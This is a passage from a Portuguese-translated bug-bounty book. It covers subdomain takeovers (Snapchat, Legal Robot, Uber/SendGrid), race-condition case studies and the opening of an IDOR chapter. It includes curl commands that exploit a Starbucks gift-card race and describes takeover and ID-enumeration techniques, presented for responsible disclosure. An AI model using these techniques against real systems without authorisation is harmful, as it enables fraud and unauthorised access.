23.235.39.43 - - [02/Ago/2016:18:28:25 +0000] "GET /bq/story_blob?story_id=f3gHI7yhW\
-Q7TeACCzc2nKQ&t=2&mt=0 HTTP/1.1...
23.235.46.45 - - [03/Ago/2016:02:40:48 +0000] "GET /bq/story_blob?story_id=fKGG6u9zG\
4juOFT7-k0PNWw&t=2&mt=1&encoding...
23.235.46.23 - - [03/Ago/2016:02:40:49 +0000] "GET /bq/story_blob?story_id=fco3gXZkb\
BCyGc_Ym8UhK2g&t=2&mt=1&encoding...
43.249.75.20 - - [03/Ago/2016:12:39:03 +0000] "GET /discover/dsnaps?edition_id=45273\
66714425344&dsnap_id=56515658813...
43.249.75.24 - - [03/Ago/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=ftzqLQky4\
KJ_B6Jebus2Paw&t=2&mt=1&codificação...
43.249.75.22 - - [03/ago/2016:12:39:03 +0000] "GET /bq/story_blob?story_id=fEXbJ2SDn\
3Os8m4aeXs-7Cg&t=2&mt=0 HTTP/1.1...
23.235.46.21 - - [03/Ago/2016:14:46:18 +0000] "GET /bq/story_blob?story_id=fu8jKJ_5y\
F71_WEDi8eiMuQ&t=1&mt=1&encoding...
23.235.46.28 - - [03/Ago/2016:14:46:19 +0000] "GET /bq/story_blob?story_id=flWVBXvBX\
Toy-vhsBdze11g&t=1&mt=1&encoding...
23.235.44.35 - - [04/Ago/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fuZO-2ouG\
dvbCSggKAWGTaw&t=0&mt=1&encoding...
23.235.44.46 - - [04/Ago/2016:05:57:37 +0000] "GET /bq/story_blob?story_id=fa3DTt_mL\
0MhekUS9ZXg49A&t=0&mt=1&encoding...
185.31.18.21 - - [04/ago/2016:19:50:01 +0000] "GET /bq/story_blob?story_id=fDL270uTc\
FhyzlRENPVPXnQ&t=0&mt=1&codificação...
Ao resolver o relatório, o Snapchat confirmou que, embora as solicitações não incluíssem tokens de
acesso ou cookies, os usuários poderiam ter recebido conteúdo malicioso. Acontece que, de acordo
com Andrew Hill, do Snapchat:
Um subconjunto muito pequeno de usuários usando um cliente antigo que não fez check-in após o período
de teste do CDN teria procurado conteúdo estático e não autenticado (sem mídia confidencial). Logo
depois, os clientes teriam atualizado sua configuração e alcançado o endpoint correto. Em teoria, a mídia
alternativa poderia ter sido fornecida a esse grupo muito pequeno de usuários nessa versão do cliente por
um breve período de tempo.
Aprendizado
Mais uma vez, temos alguns take away aqui. Primeiro, ao procurar por aquisições de
subdomínios, fique atento aos URLs *.global.ssl.fastly.net , pois o Fastly é outro serviço
da Web que permite aos usuários registrar nomes em um espaço de nomes global.
Quando os domínios são vulneráveis, o Fastly exibe uma mensagem do tipo “O domínio
do Fastly não existe”.
Em segundo lugar, sempre dê um passo extra para confirmar suas vulnerabilidades.

Nesse caso, Ebrietas pesquisou as informações do certificado SSL para confirmar que
pertencia ao Snapchat antes de relatar. Por fim, as implicações de uma aquisição nem
sempre são imediatamente aparentes. Neste caso, Ebrietas não pensou que este serviço
foi usado até que ele viu o tráfego chegando. Se você encontrar uma vulnerabilidade de
aquisição, deixe o serviço ativo por algum tempo para ver se algum pedido chega. Isso
pode ajudá-lo a determinar a gravidade do problema para explicar a vulnerabilidade do
programa ao qual você está relatando, que é um dos componentes de um relatório eficaz,
conforme discutido no capítulo Relatórios de vulnerabilidade.
5. api.legalrobot.com
Dificuldade: Média
URL: api.legalrobot.com
Data do relatório: 1º de julho de 2016
Descrição: Em
1º de julho de 2016, o Frans Rosen6 enviou um relatório ao Legal Robot notificando-os de que ele tinha uma entrada
DNS CNAME para api.legalrobot.com apontando para Modulus.io, mas que eles não haviam reivindicado o espaço de
nome lá. 5https://hackerone.com/reports/148770 6https://www.twitter.com/fransrosen
Aplicação de módulo não encontrada
Agora, você provavelmente pode adivinhar que Frans visitou o Modulus e tentou reivindicar o
subdomínio, já que este é um exemplo de controle e a documentação do Modulus afirma: “Qualquer
domínio personalizado pode ser especificado” por seu serviço. Mas este exemplo é mais do que isso.
A razão pela qual este exemplo é digno de nota e incluído aqui é porque Frans tentou isso e o
subdomínio já foi reivindicado. Mas quando ele não pôde reivindicar api.legalrobot.com, em vez de
ir embora, ele tentou reivindicar o subdomínio curinga, *.legalrobot.com , que realmente funcionou.
Modulus Wild Card Site Reivindicado
Depois de fazer isso, ele deu um passo extra (embora pequeno) para hospedar seu próprio conteúdo lá:
Frans Rosen Olá Mundo

Aprendizado
Incluí este exemplo por dois motivos; primeiro, quando Frans tentou reivindicar o
subdomínio no Modulus, a correspondência exata foi obtida. No entanto, em vez de
desistir, ele tentou reivindicar o domínio curinga. Embora não possa falar por outros
hackers, não sei se teria tentado isso se estivesse no lugar dele. Portanto, daqui para
frente, se você se encontrar na mesma posição, verifique se os serviços de terceiros
permitem a reivindicação de curinga.
Em segundo lugar, Frans realmente reivindicou o subdomínio. Embora isso possa ser
óbvio para alguns, quero reiterar a importância de provar a vulnerabilidade que você está
relatando. Nesse caso, Frans deu um passo extra para garantir que poderia reivindicar o
subdomínio e hospedar seu próprio conteúdo. Isso é o que diferencia os grandes hackers
dos bons hackers, fazendo um esforço extra para garantir que você não esteja relatando
falsos positivos.
6. Aquisição de correio do Uber SendGrid
Dificuldade: Média
Url: @em.uber.com
Descrição:
SendGrid é um serviço de e-mail baseado em nuvem desenvolvido para ajudar as empresas a entregar e-mail.
Acontece que o Uber os usa para a entrega de e-mails. Como resultado, os hackers da equipe Uranium238 deram
uma olhada nos registros DNS do Uber e notaram que a empresa tinha um CNAME para em.uber.com apontando
para SendGrid (lembre-se de que um CNAME é um registro de nome canônico que define um alias para um
domínio) .
Como havia um CNAME, os hackers decidiram vasculhar o SendGrid para ver como os domínios eram reivindicados
e pertencentes ao serviço. De acordo com a redação, eles primeiro analisaram se o SendGrid permitia hospedagem
de conteúdo, para potencialmente explorar a configuração hospedando seu próprio conteúdo. No entanto, SendGrid
é explícito, eles não hospedam domínios.
Continuando, o Uranium238 encontrou uma opção diferente, white-label, que de acordo com o SendGrid:
é a funcionalidade que mostra aos ISPs que o SendGrid tem sua permissão para enviar e-
mails em seu nome. Essa permissão é dada pelo ato de apontar entradas DNS muito específicas
do seu registrador de domínio para o SendGrid. Depois que essas entradas de DNS são inseridas
e propagadas, os servidores e serviços de e-mail do destinatário leem os cabeçalhos dos e-mails
que você envia e verificam os registros DNS para verificar se o e-mail foi iniciado em uma fonte
confiável. Isso aumenta drasticamente sua capacidade de entregar e-mail e permite que você
comece a construir uma reputação de remetente para seu domínio e seus endereços IP.
Isso parece promissor. Ao criar as entradas DNS adequadas, o SendGrid pode enviar e-mails em nome de
um cliente. Com certeza, olhar para os registros MX de em.uber.com revelou que ele estava apontando para
mx.sendgrid.net (um trocador de e-mail, MX, registro é um tipo de registro DNS que especifica um servidor
de e-mail responsável por aceitar e-mail em nome de um destinatário domínio).
Agora, confirmando a configuração do Uber com o SendGrid, o Uranium238 vasculhou o fluxo de trabalho e
a documentação do SendGrid. Acontece que o SendGrid ofereceu um Webhook de análise de entrada, que
permite à empresa analisar anexos e conteúdos de e-mails recebidos. Para fazer isso, tudo o que os clientes
precisam fazer é:
1. Aponte o registro MX de um domínio/nome de host ou subdomínio para mx.sendgrid.net 2. Associe

o domínio/nome de host e a URL na página de configurações da API de análise
Bingo. O número 1 já foi confirmado e, ao que parece, o número 2 não foi feito, o em.uber.com não foi
reivindicado pelo Uber. Com isso agora reivindicado pelo Uranium238, o último foi confirmar o recebimento
dos e-mails (lembre-se, os grandes hackers vão além para validar todas as descobertas com uma prova de
conceito, em vez de apenas parar em reivindicar o gancho de análise neste exemplo ).
Para fazer isso, o SendGrid fornece algumas informações úteis sobre como configurar um servidor de escuta.
Você pode conferir aqui8 Com um. servidor configurado, o próximo passo é implementar o código para aceitar
o e-mail recebido. Mais uma vez, eles fornecem isso no post. Com isso feito, por último, o Uranium238 usou
o ngrok.io, que tunelou o tráfego HTTP para o servidor local e confirmou o controle.
8https://sendgrid.com/blog/collect-inbound-email-using-python-and-flask
Configuração de análise de entrada do SendGrid usando ngrok.io
Confirmação de aquisição de subdomínio via e-mail analisado
Mas antes de relatar, o Uranium238 também confirmou que vários subdomínios eram vulneráveis,
incluindo business, developer, em, email, m, mail, p, p2, security e v.
Dito isso, o SendGrid confirmou que adicionou uma verificação de segurança adicional que exige
que as contas tenham um domínio verificado antes de adicionar um gancho de análise de entrada.
Isso deve corrigir o problema e torná-lo inexplorável para outras empresas que usam o SendGrid.
Aprendizado
Essa vulnerabilidade é outro exemplo de como pode ser inestimável explorar
serviços de terceiros, bibliotecas etc. que os sites estão usando. Ao ler a
documentação, aprender sobre o SendGrid e entender os serviços que eles
fornecem, o Uranium238 encontrou esse problema. Além disso, este exemplo
demonstra que, ao procurar oportunidades de aquisição, fique atento à
funcionalidade que permite reivindicar subdomínios.
Resumo
As aquisições de subdomínio realmente não são tão difíceis de realizar quando um site já criou
uma entrada de DNS não utilizada apontando para um provedor de serviços de terceiros ou
domínio não registrado. Vimos isso acontecer com Heroku, Fastly, domínios não registrados,
S3, Zendesk e definitivamente há mais. Existem várias maneiras de descobrir essas
vulnerabilidades, incluindo o uso de KnockPy, Google Dorks (site:*.hackerone.com), Recon-ng, crt.sh, etc.
O uso de todos eles está incluído no capítulo Ferramentas deste livro.
Como aprendemos com Frans, quando você estiver procurando por aquisições de subdomínio,
certifique-se de fornecer provas da vulnerabilidade e lembre-se de considerar reivindicar o
domínio curinga se os serviços permitirem.
Por fim, ler a documentação pode ser chato, mas pode ser muito lucrativo. O Ura nium238
encontrou seu controle de e-mail do Uber explorando a funcionalidade fornecida pelo SendGrid.
Isso é uma grande vantagem, pois os serviços e softwares de terceiros são ótimos lugares para
procurar vulnerabilidades.
17. Condições de Corrida
Descrição
Uma vulnerabilidade de condição de corrida ocorre quando dois processos estão competindo para serem
concluídos entre si com base em uma condição inicial que se torna inválida durante a execução do processo.
Um exemplo clássico disso é a transferência de dinheiro entre contas bancárias:
1. Você tem uma conta bancária com $ 500 e precisa transferir todo o valor
para um amigo.
2. Usando seu telefone, você faz login no aplicativo bancário e solicita a transferência de $ 500
ao seu amigo.
3. A solicitação está demorando muito para ser concluída, mas ainda está sendo processada, então você
faz login no site do banco em seu laptop, vê que seu saldo ainda é $ 500 e solicita a transferência
novamente.
4. Em alguns segundos, as solicitações do laptop e do celular são concluídas.
5. Sua conta bancária agora é $ 0 e você sai da sua conta.
6. Seu amigo envia uma mensagem para você dizendo que recebeu $ 1.000.
7. Você faz login novamente em sua conta e confirma que seu saldo é $ 0.
Este é um exemplo irreal de uma condição de corrida porque (espero) todos os bancos reconhecem essa
possibilidade e a impedem, mas o processo é representativo do conceito geral.
As transferências nas etapas 2 e 3 são iniciadas quando o saldo da sua conta bancária é de $ 500.
Esta é a condição necessária para iniciar a transferência, validada apenas no início do processo. Como você
só deve poder transferir um valor igual ou inferior ao seu saldo bancário, iniciar duas solicitações de $ 500
significa que eles estão competindo pelo mesmo valor disponível. Em algum momento durante uma
transferência bancária, a condição deve se tornar inválida, pois seu saldo se torna $ 0 e qualquer outra
solicitação de transferência deve falhar (supondo que você não possa incorrer em um saldo negativo em
sua conta).
Com conexões de internet rápidas, as solicitações HTTP podem parecer instantâneas, mas ainda há muito
processamento a ser feito. Por exemplo, como as solicitações HTTP não têm estado, todas as solicitações
HTTP enviadas exigem que o site receptor o autentique novamente e carregue todos os dados necessários
para a ação solicitada. Isso geralmente é obtido usando um cookie para executar uma pesquisa de banco
de dados no servidor do aplicativo para sua conta. Depois que isso for concluído, o site processará a
solicitação que você fez.
Referindo-se ao exemplo de transferência acima, a lógica do aplicativo do servidor pode ser semelhante a:
Condições da corrida 145
1. Receba a solicitação HTTP para transferir dinheiro 2.

Consulte o banco de dados para obter as informações da conta do cookie incluído no
solicitar
3. Confirme se a pessoa que faz a solicitação tem acesso à conta 4. Confirme se o
valor da transferência solicitada é menor que o saldo 5. Confirme se a pessoa tem
permissão para solicitar transferências 6. Consulte o banco de dados da pessoa
que está recebendo o saldo 7. Confirme se a pessoa pode receber o valor 8.
Remova o valor da transferência da conta do iniciador 9. Adicione o valor da
transferência à conta do destinatário 10. Retorne uma mensagem de sucesso ao
iniciador 11. Notifique o destinatário da transferência
Novamente, esta é uma simplificação excessiva da lógica de processamento e não inclui todas as etapas
possíveis, mas demonstra as etapas e a lógica necessárias para processar uma transferência de dinheiro.
Já vi as condições de corrida abordadas de várias maneiras diferentes. A primeira é usar apenas consultas
INSERT, já que todas elas são ações de banco de dados instantâneas. Usar apenas INSERTS significa
que não há atraso na procura de registros para alterar, como ocorre com consultas UPDATE. No entanto,
usar essa abordagem nem sempre é fácil, pois seu aplicativo teria que ser projetado para contar com os
registros mais recentes em uma tabela, o que pode ou não ser possível. Se um site já é muito usado,
reescrever um design de aplicativo e banco de dados para usar essa abordagem pode ser mais
problemático do que compensador.
Em segundo lugar, em situações em que apenas um registro deve existir em uma tabela para uma
determinada ação, como pagamentos de um pedido (você não gostaria de pagar duas vezes), as condições
de corrida podem ser tratadas com um índice exclusivo no banco de dados. Índices são um conceito de
programação usado para ajudar a identificar registros em um conjunto de dados estruturado; nós os vimos
anteriormente em capítulos anteriores ao discutir arrays. Em bancos de dados, os índices são usados para
ajudar a acelerar as consultas (os detalhes de como isso é feito não são importantes para nossos
propósitos), mas se você criar um índice exclusivo em dois campos, o banco de dados protegerá contra os
mesmos valores combinados sendo inseridos duas vezes . Portanto, se você tiver um site de comércio
eletrônico com uma tabela de pagamentos de pedidos incluindo duas colunas, order_id e transaction_id,
adicionar um índice exclusivo nessas duas colunas garantirá que nenhuma condição de corrida possa
registrar dois pagamentos para a mesma combinação de pedido/transação. No entanto, essa solução
também é limitada, pois se aplica apenas a cenários em que há um registro por ação em uma tabela do banco de dados.
Por fim, as condições de corrida podem ser resolvidas com bloqueios. Este é um conceito programático
que restringe (ou bloqueia) o acesso a recursos específicos para que outros processos não possam acessá-
los. Isso aborda as condições de corrida, restringindo o acesso às condições iniciais necessárias para
introduzir a vulnerabilidade. Por exemplo, ao transferir nosso dinheiro, se o banco de dados bloqueasse o
acesso ao saldo da conta ao iniciar uma transferência, qualquer outra solicitação teria que esperar até que
o saldo fosse liberado (e presumivelmente atualizado) para realizar outra transferência. Isso abordaria a
possibilidade de duas solicitações transferirem
uma quantidade que não existe. No entanto, o bloqueio é um conceito complexo, muito além do escopo deste
livro e fácil de implementar incorretamente, criando outros bugs funcionais para os usuários do site. Os três
exemplos a seguir mostram exemplos reais em que as condições de corrida foram exploradas contra
programas de recompensas por bugs.
Exemplos
1. Condições da Corrida da Starbucks
Dificuldade: Média
URL: Starbucks.com
Link do relatório: http://sakurity.com/blog/2015/05/21/starbucks.html1
Descrição:
De acordo com sua postagem no blog, Egor Homakov comprou três vales-presente da Starbucks, cada um no
valor de US$ 5. O site da Starbucks oferece aos usuários a funcionalidade de vincular cartões-presente a
contas para verificar saldos, transferir dinheiro etc. Reconhecendo o potencial de abuso na transferência de
dinheiro, Egor decidiu testar as coisas.
De acordo com sua postagem no blog, a Starbucks tentou antecipar a vulnerabilidade (suponho) fazendo as
solicitações de transferência com estado, ou seja, o navegador primeiro faz uma solicitação POST para
identificar qual conta estava transferindo e qual estava recebendo, salvando essas informações à sessão do
usuário. A segunda solicitação confirmaria a transação e destruiria a sessão.
A razão pela qual isso teoricamente atenuaria a vulnerabilidade é porque o lento processo de consultar as
contas do usuário e confirmar os saldos disponíveis antes de transferir o dinheiro já estaria concluído e o
resultado salvo na sessão da segunda etapa.
No entanto, implacável, Egor reconheceu que duas sessões poderiam ser usadas para concluir a etapa um,
aguardando a ocorrência da etapa dois, para realmente transferir dinheiro. Aqui está o pseudo código que ele
compartilhou em seu post:
1http://sakurity.com/blog/2015/05/21/starbucks.html
#prepare os detalhes da transferência em

ambas as sessões curl starbucks/step1 -H <<Cookie: session=session1>> --data
<<amount=1&from=wallet1&\ to=wallet2>> curl starbucks/step1 -H <<Cookie: session= session2>>
--data <<amount=1&from=wallet1&\ to=wallet2>> #envia $1 simultaneamente de wallet1 para
wallet2 usando ambas as sessões curl starbucks/step2?confirm -H <<Cookie: session=session1>>
& curl starbucks /step2?\ confirm -H <<Cookie:session2>> &
Neste exemplo, você verá que as duas primeiras instruções curl obteriam as sessões e, em seguida, a
última chamaria a etapa 2. O uso do & instrui o bash a executar o comando em segundo plano, para que
você não espere o primeiro terminar antes de executar o segundo.
Dito isso, Egor levou seis tentativas (quase desistiu na quinta tentativa) para obter o resultado; duas
transferências de $ 5 do cartão-presente 1 com um saldo de $ 5 resultando em $ 15 no cartão-presente
2 (saldo inicial de $ 5, duas transferências de $ 5) e $ 5 no cartão-presente 3.
Agora, dando um passo adiante para criar uma prova de conceito, Egor visitou um Starbucks próximo e
fez uma compra de $ 16 dólares usando o recibo para fornecer à Starbucks.
Aprendizado
As condições de corrida são um vetor de vulnerabilidade interessante que às

vezes pode existir quando os aplicativos lidam com algum tipo de saldo, como
dinheiro, créditos, etc. Encontrar a vulnerabilidade nem sempre acontece na
primeira tentativa e pode exigir várias solicitações repetidas e simultâneas. Aqui,
Egor fez seis solicitações antes de obter sucesso e depois fez uma compra para
confirmar a prova de conceito.
2. Aceitar convites do HackerOne várias vezes

Dificuldade: Baixa
URL: hackerone.com/invitations/INVITE_TOKEN
Descrição:
O HackerOne oferece uma recompensa de $ 10.000 por qualquer bug que possa conceder acesso não
autorizado a descrições confidenciais de bugs. Não se deixe enganar pelo poder, você precisa provar isso.
Até o momento, ninguém relatou um bug válido que caia nessa categoria. Mas isso não me impediu de querer
em fevereiro de 2016.
Explorando a funcionalidade do HackerOne, percebi que quando você convidava uma pessoa para um
relatório ou equipe, essa pessoa recebia um e-mail com um link de url para ingressar na equipe ou relatório
que continha apenas um token de convite. Seria parecido com:
https://hackerone.com/invitations/fb36623a821767cbf230aa6fcddcb7e7.
No entanto, o convite não estava conectado ao endereço de e-mail realmente convidado, o que significa que
qualquer pessoa com qualquer endereço de e-mail poderia aceitá-lo (isso já foi alterado).
Comecei a explorar maneiras de abusar disso e potencialmente entrar em um relatório ou equipe que não fui
convidado também (o que não deu certo) e, ao fazer isso, percebi que esse token só deveria ser aceitável
uma vez, ou seja, eu deveria apenas ser capaz de juntar o relatório ou programa com uma conta. Em minha
mente, imaginei que o processo seria algo como:
1. O servidor recebe a solicitação e analisa o token 2. O token é

procurado no banco de dados 3. Uma vez encontrado, minha
conta é atualizada para me adicionar à equipe ou relatório 4. O registro do token é
atualizado no banco de dados para que possa não será aceito novamente
Não tenho ideia se esse é o processo real, mas esse tipo de fluxo de trabalho oferece suporte a
vulnerabilidades de condição de corrida por alguns motivos:
1. O processo de procurar um registro e, em seguida, fazer com que a lógica de codificação atue sobre ele
cria um atraso no processo. A pesquisa representa nossas pré-condições que devem ser atendidas para
que um processo seja iniciado. Nesse caso, se a lógica de codificação demorar muito, podem ser
recebidas duas requisições e ambas as consultas ao banco de dados podem ainda atender às condições
exigidas, ou seja, o convite pode não ter sido invalidado ainda na etapa 4.
2. A atualização de registros no banco de dados pode criar o atraso entre a pré-condição e o resultado que
estamos procurando. Embora as inserções ou a criação de novos registros em um banco de dados
sejam praticamente instantâneas, a atualização de registros requer uma busca na tabela do banco de
dados para encontrar o registro que estamos procurando. Agora, embora os bancos de dados sejam
otimizados para esse tipo de atividade, com registros suficientes, eles começarão a desacelerar o
suficiente para que os invasores possam aproveitar o atraso para abusar das condições de corrida.
Achei que o processo para pesquisar, atualizar minha conta e atualizar o convite, ou o nº 1 acima, pode existir
no HackerOne, então testei manualmente. Para fazer isso, criei uma segunda e uma terceira conta (vamos
chamá-las de Usuário A, B e C). Como usuário A, criei um programa e convidei o usuário B. Em seguida,
desconectei. Peguei o URL do convite no e-mail e loguei como Usuário B em
meu navegador atual e o usuário C em um navegador privado (é necessário fazer login para aceitar o
convite).
Em seguida, alinhei os dois navegadores e os botões de aceitação para que ficassem um em cima do
outro, assim:
Condições de corrida de convite do HackerOne
Em seguida, cliquei nos dois botões de aceitação o mais rápido possível. Minha primeira tentativa não
funcionou, o que significou que tive que passar pela ação tediosa de remover o usuário B, reenviar o
convite, etc. Mas na segunda tentativa, tive sucesso e tive dois usuários em um programa a partir de
um convite.
Ao relatar o problema ao HackerOne, como você pode ler em meu próprio relatório, expliquei que
achava que essa era uma vulnerabilidade que poderia fornecer ao invasor mais tempo para extrair
informações de qualquer relatório / equipe ao qual ele se juntou, pois o programa da vítima teria um
problema momento para dois usuários aleatórios entrarem em seu programa e depois removerem
duas contas. Para mim, cada segundo conta nessa situação.
Aprendizado
Encontrar e explorar essa vulnerabilidade foi realmente muito divertido, uma minicompetição
comigo mesmo e com a plataforma HackerOne, já que eu tinha que clicar nos botões muito
rápido. Mas, ao tentar identificar vulnerabilidades semelhantes, procure situações que
possam se enquadrar nas etapas que descrevi acima, onde há uma pesquisa de banco de
dados, lógica de codificação e atualização de banco de dados. Esse cenário pode se prestar
a uma vulnerabilidade de condição de corrida.
Além disso, procure maneiras de automatizar seus testes. Felizmente para mim, consegui
isso sem muitas tentativas, mas provavelmente teria desistido depois de 4 ou 5 devido à
necessidade de remover usuários e reenviar convites para cada teste.
3. Excedendo os Limites de Convites de Keybase
Dificuldade: Baixa
URL: https://keybase.io/_/api/1.0/send_invitations.json
Descrição:
Ao hackear, procure oportunidades em que um site tenha um limite explícito para o número de ações
específicas que você pode realizar, como convites neste exemplo ou o número de vezes que você pode
aplicar um cupom de desconto a um pedido, o número de usuários você pode adicionar a uma conta de
equipe e assim por diante.
O Keybase é um aplicativo de segurança para telefones celulares e computadores e, quando lançou seu
site, limitou o número de pessoas autorizadas a se inscrever, fornecendo aos usuários registrados três
convites, iniciados por meio de uma solicitação HTTP ao Keybase. Josip FranjkoviÄ reconheceu que
esse comportamento poderia ser vulnerável a uma condição de corrida por motivos semelhantes aos
descritos no primeiro exemplo; O Keybase provavelmente estava recebendo a solicitação para convidar
outro usuário, verificando o banco de dados para ver se um usuário ainda tinha convites, gerando um
token, enviando o e-mail e diminuindo o número de convites restantes.
Para testar, Josip visitou https://keybase.io/account/invitations, inseriu um endereço de e-mail e enviou o

convite. Usando uma ferramenta como Burp, ele provavelmente enviou essa solicitação ao intruso, o que
permite aos usuários automatizar testes repetitivos definindo um ponto de inserção em uma solicitação
HTTP e especificando cargas úteis para iterar com cada solicitação, adicionando o
carga útil para o ponto de inserção. Nesse caso, ele teria especificado vários endereços de e-mail e cada
solicitação teria sido enviada simultaneamente.
Como resultado, Josip conseguiu convidar 7 usuários, ultrapassando o limite de 3 convites por usuário.
A Keybase confirmou o design defeituoso ao resolver o problema e explicou que resolveu a vulnerabilidade
adquirindo um bloqueio antes de processar a solicitação do convite e liberando-o após o envio do convite.
Aprendizado
Aceitar e pagar por esse tipo de condição de corrida, convidando mais pessoas do que o permitido
para um site, depende das prioridades, funcionalidade e perfil de risco de um programa. Nesse
caso, o Keybase provavelmente aceitou isso porque estava tentando gerenciar o número de
usuários registrados em seu site, que foi ignorado.
Este não é o caso de todos os programas de recompensas de bugs que incluem a funcionalidade
de convite, conforme demonstrado com o exemplo de convite do HackerOne discutido
anteriormente. Se relatar algo semelhante, certifique-se de articular claramente por que seu
relatório deve ser considerado uma vulnerabilidade.
4. Pagamentos do HackerOne
Dificuldade: Baixa
URL: n/a
Descrição:
Ao procurar explorar as condições de corrida, procure oportunidades em que um site esteja processando
dados em segundo plano, não relacionados a ações que você executou ou em uma resposta atrasada a
suas ações, como emissão de pagamentos, envio de e-mails ou onde você pode agendar uma ação futura .
Por volta da primavera de 2016, o HackerOne fez alterações em seu sistema de pagamento que combinava
recompensas concedidas aos hackers em um único pagamento quando o PayPal era o processador de
pagamento. Anteriormente, se você recebesse três recompensas por dia, receberia três pagamentos do
HackerOne. Após a mudança, você receberia um com o valor total.
Em abril de 2017, Jigar Thakkar testou essa funcionalidade e reconheceu que era possível explorar uma
condição de corrida na nova funcionalidade para duplicar pagamentos. ao iniciar
No processo de pagamento, o HackerOne coletava as recompensas por endereço de e-mail, combinava-as

em um e enviava a solicitação ao PayPal. A pré-condição aqui é procurar o endereço de e-mail. Jigar
descobriu que, se dois hackers tivessem o mesmo endereço de e-mail do PayPal registrado, o HackerOne
combinaria as recompensas em um único pagamento para esse endereço de e-mail. Mas, se um desses
hackers mudou seu endereço do PayPal após a combinação, mas antes que o HackerOne enviasse a
solicitação ao PayPal, o pagamento total iria para o primeiro endereço de e-mail e o novo endereço de e-mail
ainda seria pago. Presumivelmente, isso ocorreu porque todas as recompensas foram marcadas como não
pagas até que a solicitação ao PayPal fosse feita. Explorar esse comportamento era complicado, pois você
teria que saber quando o processamento estava sendo iniciado e, se soubesse, teria apenas alguns segundos
para modificar os endereços de e-mail.
Este exemplo é digno de nota devido ao uso do HackerOne de trabalhos de processamento atrasado e
tempo de verificação versus tempo de uso. Quando você usa alguns sites, eles atualizam os registros com
base na sua interação. Por exemplo, quando você envia um relatório no HackerOne, um e-mail é enviado
para a equipe à qual você enviou, as estatísticas da equipe são atualizadas e assim por diante. No entanto,
algumas funcionalidades não ocorrem imediatamente em resposta a uma solicitação HTTP, como pagamentos.
Uma vez que o HackerOne combina recompensas agora, em vez de enviar dinheiro imediatamente quando
você é premiado, faz sentido para o HackerOne usar um trabalho em segundo plano que procura o dinheiro
devido a você, combina-o e solicita a transferência do PayPal.
Os trabalhos em segundo plano são iniciados por algum outro gatilho que não seja a solicitação HTTP de
um usuário e são comumente usados quando os sites começam a processar muitos dados. Isso ocorre
porque não faz sentido iniciar todas as ações do site em resposta a solicitações HTTP e fazer com que os
usuários aguardem a conclusão da ação antes de obter uma resposta HTTP do servidor. Portanto, quando
você enviar seu relatório, o servidor enviará uma resposta HTTP e criará um trabalho em segundo plano para
enviar um e-mail à equipe sobre seu relatório. O mesmo vale para pagamentos, quando uma equipe concede
a você uma recompensa, eles recebem um recibo do pagamento, mas o envio do dinheiro será adicionado a
um trabalho em segundo plano a ser concluído posteriormente.
Tarefas em segundo plano e processamento de dados são importantes para as condições de corrida porque
podem apresentar um atraso entre as condições de verificação (tempo de verificação) e ações de execução
(tempo de uso). Se um site verificar as condições apenas ao adicionar algo ao processamento em segundo
plano, mas não quando for realmente usado, a exploração do comportamento pode levar a uma condição de
corrida. Nesse caso, foi uma verificação do mesmo endereço de e-mail ao combinar recompensas sem
verificar se o endereço de e-mail não foi alterado no momento do pagamento ou uso.
Aprendizado
Ao usar um site, se você perceber que ele está processando dados bem depois de visitá-lo, provavelmente
está usando um trabalho em segundo plano para processar dados. Este é um sinal de alerta de que você
deve testar as condições que definem o trabalho para ver se o site agirá nas novas condições em relação às
antigas. Neste exemplo, foi a combinação de pagamentos do HackerOne para um endereço de e-mail versus
o envio de dinheiro para endereços de e-mail específicos.
Certifique-se de testar o comportamento minuciosamente, pois o processamento em segundo plano pode
ocorrer em qualquer lugar, desde muito rapidamente até muito depois, dependendo de quantos trabalhos
foram enfileirados para serem concluídos e da abordagem do site para processamento de dados.
Resumo
Sempre que um site executa ações dependentes de algumas condições serem verdadeiras, que
mudam como resultado da ação executada, sempre há a chance de os desenvolvedores não terem
considerado as condições de corrida. Esteja atento a esse tipo de funcionalidade no que se refere a
ações limitadas que você tem permissão para executar e quando um site está processando ações
em segundo plano. Esse tipo de vulnerabilidade geralmente está associado a condições que mudam
muito rapidamente, às vezes quase instantaneamente; portanto, se você acha que algo é vulnerável,
pode levar várias tentativas para realmente explorar o comportamento.
Seja persistente e inclua uma forte justificativa se houver uma chance de um programa não
considerar a exploração de sua condição de corrida descoberta como uma vulnerabilidade séria.
18. Referências inseguras de objetos diretos

Descrição
Uma vulnerabilidade insegura de referência de objeto direto (IDOR) ocorre quando um invasor pode
acessar ou modificar alguma referência a um objeto, como um arquivo, registro de banco de dados,
conta, etc., que na verdade deveria estar inacessível para eles. Por exemplo, ao visualizar sua conta em
um site com perfis privados, você pode visitar www.site.com/user=123.
No entanto, se você tentou www.site.com/user=124 e obteve acesso, esse site seria considerado
vulnerável a um bug IDOR.
Identificar esse tipo de vulnerabilidade varia de fácil a difícil. O mais básico é semelhante ao exemplo
acima, onde o ID fornecido é um número inteiro simples, incrementado automaticamente conforme novos
registros (ou usuários no exemplo acima) são adicionados ao site. Portanto, testar isso envolveria
adicionar ou subtrair 1 do ID para verificar os resultados. Se você estiver usando o Burp, pode automatizar
isso enviando a solicitação para o Burp Intruder, defina uma carga útil no ID e, em seguida, use uma lista
numérica com valores de início e parada, passo a passo.
Ao executar esse tipo de teste, procure comprimentos de conteúdo que mudam, significando diferentes
respostas sendo retornadas. Em outras palavras, se um site não for vulnerável, você deve obter
consistentemente algum tipo de mensagem de acesso negado com o mesmo tamanho de conteúdo.
Onde as coisas são mais difíceis é quando um site tenta obscurecer as referências a suas referências de
objeto, usando coisas como identificadores aleatórios, como identificadores exclusivos universais (UUIDs).
Nesse caso, o ID pode ser uma string alfanumérica de 36 caracteres impossível de adivinhar. Nesse
caso, uma maneira de trabalhar é criar dois perfis de usuário e alternar entre essas contas testando
objetos. Portanto, se você está tentando acessar perfis de usuário com um UUID, crie seu perfil com o
usuário A e depois com o usuário B, tente acessar esse perfil, pois você conhece o UUID.
Se você estiver testando registros específicos, como IDs de faturas, viagens, etc. todos identificados por
UUIDs, semelhante ao exemplo acima, tente criar esses registros como Usuário A e depois acessá-los
como Usuário B, pois você conhece os UUIDs válidos entre os perfis. Se você conseguir acessar os
objetos, isso é um problema, mas não muito grave, pois os IDs (com exceção limitada) têm 36 caracteres,
sequências aleatórias. Isso os torna quase inimagináveis. Nem tudo está perdido.
Neste ponto, o próximo passo é tentar encontrar uma área onde esse UUID vazou. Por exemplo, em um
site baseado em equipe, você pode convidar o usuário B para sua equipe e, em caso afirmativo, o servidor
